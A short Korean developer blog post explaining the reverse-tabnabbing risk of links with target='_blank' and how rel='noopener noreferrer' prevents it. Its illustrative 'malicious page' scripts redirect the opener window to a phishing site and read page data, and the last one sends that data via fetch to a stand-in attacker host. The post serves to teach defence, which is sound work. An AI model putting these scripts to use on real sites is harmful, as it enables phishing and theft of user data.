카테고리 없음

a 태그 target="_blank" 와 rel="noopener noreferrer"

*히아* 2024. 8. 1. 12:55

target_blank를 두면 연결된 링크가 새로운 탭으로 열리게 된다. 

 

여기서의 문제점이 바로 보안 취약점이 발생할 수 있다는 것!

 

새 창이 열리면, 새 창은 원본 창에 대한 참조(window.opener)를 가지게된다.

target="_blank"를 사용하여 링크를 클릭해 새로운 탭이나 창을 열 때, 새로 열린 창이나 탭은 원본 창의 window.opener 객체에 접근할 수 있습니다. 이를 통해 악성 코드가 포함된 페이지는 원본 창을 조작할 수 있다!

 

여기서 rel="noopener noreferrer"를 추가하면 이 보안 취약점을 보완할 수 있게 된다!

 

noopener: 새 탭이 window.opener 속성에 액세스하는 것을 방지하여 새 창을 원본 창과 효과적으로 분리할 수 있게 된다!!

 

noreferrer: 이 속성은 noopener 동작을 포함할 뿐만 아니라 리퍼러 정보가 새 탭으로 전송되지 않도록 보장합니다. 이는 원본 페이지의 URL이 링크된 페이지에 공개되지 않도록 하는 개인정보 보호 이유로 유용할 수 있다!!

 

 

보안 취약점 예시

1. 악성 페이지는 원본 창의 URL을 변경하여 사용자가 의도하지 않은 피싱 사이트로 이동하게 할 수 있습니다. 사용자는 여전히 신뢰할 수 있는 사이트에 있다고 생각하지만, 사실은 가짜 사이트에 민감한 정보를 입력하게 된다.

<!-- 악성 페이지의 스크립트 예시 -->
<script>
  if (window.opener) {
    // 원본 창의 URL을 피싱 사이트로 변경
    window.opener.location = 'https://phishing-site.com';
  }
</script>

 

2. 새로운 창이 원본 창의 window.opener 객체에 접근할 수 있기 때문에, 원본 창의 일부 정보가 노출될 수 있습니다. 이는 개인 정보나 민감한 데이터를 포함할 수 있다.

<!-- 악성 페이지의 스크립트 예시 -->
<script>
  if (window.opener) {
    const userInfo = window.opener.document.getElementById('user-info').innerText;
    console.log('User Info:', userInfo);
  }
</script>

 

 

근데 일반적으로 사용자가 새 창을 열 때 원본 창과 새 창을 동시에 보는거면 데이터 접근이 당연하게 가능한 거 아닌가????

 

보안 취약점은 단순히 데이터를 보는 것과는 다르다고 한다. 

 

<!-- 새 창의 악성 코드 -->
<script>
  if (window.opener) {
    // 원본 창의 특정 요소에서 정보 추출
    const userInfo = window.opener.document.getElementById('user-info').innerText;
    console.log('User Info:', userInfo);
    // 유출된 정보를 공격자의 서버로 전송
    fetch('https://attacker-site.com/collect', {
      method: 'POST',
      body: JSON.stringify({ info: userInfo }),
      headers: {
        'Content-Type': 'application/json'
      }
    });
  }
</script>